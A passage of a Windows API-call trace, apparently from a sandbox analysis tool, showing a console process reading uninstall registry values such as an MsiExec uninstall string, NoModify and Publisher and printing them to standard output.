dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.265] GetConsoleOutputCP () returned 0x1b5 [0151.265] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.265] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.265] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.265] __iob_func () returned 0x7fefd702a80 [0151.265] _fileno (_File=0x7fefd702ab0) returned 1 [0151.265] _errno () returned 0x204bb0 [0151.265] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.265] _errno () returned 0x204bb0 [0151.265] GetFileType (hFile=0x50) returned 0x1 [0151.265] lstrlenW (lpString="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 52 [0151.265] GetConsoleOutputCP () returned 0x1b5 [0151.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0151.266] GetConsoleOutputCP () returned 0x1b5 [0151.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpUsedDefaultChar=0x0) returned 52 [0151.266] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0151.266] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.266] __iob_func () returned 0x7fefd702a80 [0151.266] _fileno (_File=0x7fefd702ab0) returned 1 [0151.266] _errno () returned 0x204bb0 [0151.266] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.266] _errno () returned 0x204bb0 [0151.266] GetFileType (hFile=0x50) returned 0x1 [0151.266] lstrlenW (lpString="\n") returned 1 [0151.266] GetConsoleOutputCP () returned 0x1b5 [0151.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.266] GetConsoleOutputCP () returned 0x1b5 [0151.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.266] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.266] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.266] GetProcessHeap () returned 0x3c0000 [0151.266] GetProcessHeap () returned 0x3c0000 [0151.266] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0151.266] GetProcessHeap () returned 0x3c0000 [0151.267] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0151.267] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0151.267] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.267] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.267] GetProcessHeap () returned 0x3c0000 [0151.267] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.267] GetProcessHeap () returned 0x3c0000 [0151.267] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.267] GetProcessHeap () returned 0x3c0000 [0151.267] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.267] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0151.267] __iob_func () returned 0x7fefd702a80 [0151.267] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.267] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.267] _fileno (_File=0x7fefd702ab0) returned 1 [0151.267] _errno () returned 0x204bb0 [0151.267] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.267] _errno () returned 0x204bb0 [0151.267] GetFileType (hFile=0x50) returned 0x1 [0151.267] lstrlenW (lpString=" ") returned 4 [0151.267] GetConsoleOutputCP () returned 0x1b5 [0151.267] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.267] GetConsoleOutputCP () returned 0x1b5 [0151.267] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.267] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.267] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.267] lstrlenW (lpString="NoModify") returned 8 [0151.268] __iob_func () returned 0x7fefd702a80 [0151.268] _fileno (_File=0x7fefd702ab0) returned 1 [0151.268] _errno () returned 0x204bb0 [0151.268] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.268] _errno () returned 0x204bb0 [0151.268] GetFileType (hFile=0x50) returned 0x1 [0151.268] lstrlenW (lpString="NoModify") returned 8 [0151.268] GetConsoleOutputCP () returned 0x1b5 [0151.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0151.268] GetConsoleOutputCP () returned 0x1b5 [0151.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0151.268] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0151.268] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.268] __iob_func () returned 0x7fefd702a80 [0151.268] _fileno (_File=0x7fefd702ab0) returned 1 [0151.268] _errno () returned 0x204bb0 [0151.268] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.268] _errno () returned 0x204bb0 [0151.268] GetFileType (hFile=0x50) returned 0x1 [0151.268] lstrlenW (lpString=" ") returned 4 [0151.268] GetConsoleOutputCP () returned 0x1b5 [0151.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.268] GetConsoleOutputCP () returned 0x1b5 [0151.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.269] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.269] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.269] __iob_func () returned 0x7fefd702a80 [0151.269] _fileno (_File=0x7fefd702ab0) returned 1 [0151.269] _errno () returned 0x204bb0 [0151.269] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.269] _errno () returned 0x204bb0 [0151.269] GetFileType (hFile=0x50) returned 0x1 [0151.269] lstrlenW (lpString="REG_DWORD") returned 9 [0151.269] GetConsoleOutputCP () returned 0x1b5 [0151.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.269] GetConsoleOutputCP () returned 0x1b5 [0151.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.269] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.269] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.269] __iob_func () returned 0x7fefd702a80 [0151.269] _fileno (_File=0x7fefd702ab0) returned 1 [0151.269] _errno () returned 0x204bb0 [0151.269] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.269] _errno () returned 0x204bb0 [0151.269] GetFileType (hFile=0x50) returned 0x1 [0151.269] lstrlenW (lpString=" ") returned 4 [0151.269] GetConsoleOutputCP () returned 0x1b5 [0151.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.270] GetConsoleOutputCP () returned 0x1b5 [0151.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.270] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.270] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.270] __iob_func () returned 0x7fefd702a80 [0151.270] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.270] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0151.270] _fileno (_File=0x7fefd702ab0) returned 1 [0151.270] _errno () returned 0x204bb0 [0151.270] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.270] _errno () returned 0x204bb0 [0151.270] GetFileType (hFile=0x50) returned 0x1 [0151.270] lstrlenW (lpString="0x1") returned 3 [0151.270] GetConsoleOutputCP () returned 0x1b5 [0151.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0151.270] GetConsoleOutputCP () returned 0x1b5 [0151.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0151.270] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0151.270] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.270] __iob_func () returned 0x7fefd702a80 [0151.270] _fileno (_File=0x7fefd702ab0) returned 1 [0151.270] _errno () returned 0x204bb0 [0151.270] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.271] _errno () returned 0x204bb0 [0151.271] GetFileType (hFile=0x50) returned 0x1 [0151.271] lstrlenW (lpString="\n") returned 1 [0151.271] GetConsoleOutputCP () returned 0x1b5 [0151.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.271] GetConsoleOutputCP () returned 0x1b5 [0151.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.271] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.271] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.271] GetProcessHeap () returned 0x3c0000 [0151.271] GetProcessHeap () returned 0x3c0000 [0151.271] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.271] GetProcessHeap () returned 0x3c0000 [0151.271] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.271] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.271] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.271] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2e) returned 0x0 [0151.271] GetProcessHeap () returned 0x3c0000 [0151.271] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d78d0 [0151.271] GetProcessHeap () returned 0x3c0000 [0151.271] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0151.271] GetProcessHeap () returned 0x3c0000 [0151.271] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0151.271] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d78d0, pcbData=0x29f780*=0x2e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Corporation", pcbData=0x29f780*=0x2c) returned 0x0 [0151.271] __iob_func () returned 0x7fefd702a80 [0151.271] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.271] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.271] _fileno (_File=0x7fefd702ab0) returned 1 [0151.272] _errno () returned 0x204bb0 [0151.272] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.272] _errno () returned 0x204bb0 [0151.272] GetFileType (hFile=0x50) returned 0x1 [0151.272] lstrlenW (lpString=" ") returned 4 [0151.272] GetConsoleOutputCP () returned 0x1b5 [0151.272] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.272] GetConsoleOutputCP () returned 0x1b5 [0151.272] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.272] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.272] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.272] lstrlenW (lpString="Publisher") returned 9 [0151.272] __iob_func () returned 0x7fefd702a80 [0151.272] _fileno (_File=0x7fefd702ab0) returned 1 [0151.272] _errno () returned 0x204bb0 [0151.272] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.272] _errno () returned 0x204bb0 [0151.272] GetFileType (hFile=0x50) returned 0x1 [0151.272] lstrlenW (lpString="Publisher") returned 9 [0151.272] GetConsoleOutputCP () returned 0x1b5 [0151.272] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.272] GetConsoleOutputCP () returned 0x1b5 [0151.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0151.273] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.273] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.273] __iob_func () returned 0x7fefd702a80 [0151.273] _fileno (_File=0x7fefd702ab0) returned 1 [0151.273] _errno () returned 0x204bb0 [0151.273] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.273] _errno () returned 0x204bb0 [0151.273] GetFileType (hFile=0x50) returned 0x1 [0151.273] lstrlenW (lpString=" ") returned 4 [0151.273] GetConsoleOutputCP () returned 0x1b5 [0151.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.273] GetConsoleOutputCP () returned 0x1b5 [0151.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.273] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.273] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.273] __iob_func () returned 0x7fefd702a80 [0151.273] _fileno (_File=0x7fefd702ab0) returned 1 [0151.273] _errno () returned 0x204bb0 [0151.273] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.273] _errno () returned 0x204bb0 [0151.273] GetFileType (hFile=0x50) returned 0x1 [0151.273] lstrlenW (lpString="REG_SZ") returned 6 [0151.273] GetConsoleOutputCP () returned 0x1b5 [0151.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.274] GetConsoleOutputCP () returned 0x1b5 [0151.274] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.274] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.274] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.274] __iob_func () returned 0x7fefd702a80 [0151.274] _fileno (_File=0x7fefd702ab0) returned 1 [0151.274] _errno () returned 0x204bb0 [0151.274] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.274] _errno () returned 0x204bb0 [0151.274] GetFileType (hFile=0x50) returned 0x1 [0151.274] lstrlenW (lpString=" ") returned 4 [0151.274] GetConsoleOutputCP () returned 0x1b5 [0151.274] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.274] GetConsoleOutputCP () returned 0x1b5 [0151.274] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.274] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.274] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.274] __iob_func () returned 0x7fefd702a80 [0151.274] _fileno (_File=0x7fefd702ab0) returned 1 [0151.274] _errno () returned 0x204bb0 [0151.274] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.274] _errno () returned 0x204bb0 [0151.274] GetFileType (hFile=0x50) returned 0x1 [0151.274] lstrlenW (lpString="Microsoft Corporation") returned 21 [0151.274] GetConsoleOutputCP () returned 0x1b5 [0151.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0151.275] GetConsoleOutputCP () returned 0x1b5 [0151.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0151.275] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0151.275] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.275] __iob_func () returned 0x7fefd702a80 [0151.275] _fileno (_File=0x7fefd702ab0) returned 1 [0151.275] _errno () returned 0x204bb0 [0151.275] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.275] _errno () returned 0x204bb0 [0151.275] GetFileType (hFile=0x50) returned 0x1 [0151.275] lstrlenW (lpString="\n") returned 1 [0151.275] GetConsoleOutputCP () returned 0x1b5 [0151.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.275] GetConsoleOutputCP () returned 0x1b5 [0151.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.275] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.275] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.275] GetProcessHeap () returned 0x3c0000 [0151.275] GetProcessHeap () returned 0x3c0000 [0151.275] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0151.275] GetProcessHeap () returned 0x3c0000 [0151.275] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0151.276] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0151.276] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.276] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.276] GetProcessHeap () returned 0x3c0000 [0151.276] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.276] GetProcessHeap () returned 0x3c0000 [0151.276] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.276] GetProcessHeap () returned 0x3c0000 [0151.276] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.276] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0151.276] __iob_func () returned 0x7fefd702a80 [0151.276] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.276] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.276] _fileno (_File=0x7fefd702ab0) returned 1 [0151.276] _errno () returned 0x204bb0 [0151.276] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.276] _errno () returned 0x204bb0 [0151.276] GetFileType (hFile=0x50) returned 0x1 [0151.276] lstrlenW (lpString=" ") returned 4 [0151.276] GetConsoleOutputCP () returned 0x1b5 [0151.276] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.276] GetConsoleOutputCP () returned 0x1b5 [0151.276] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.276] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.276] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.276] 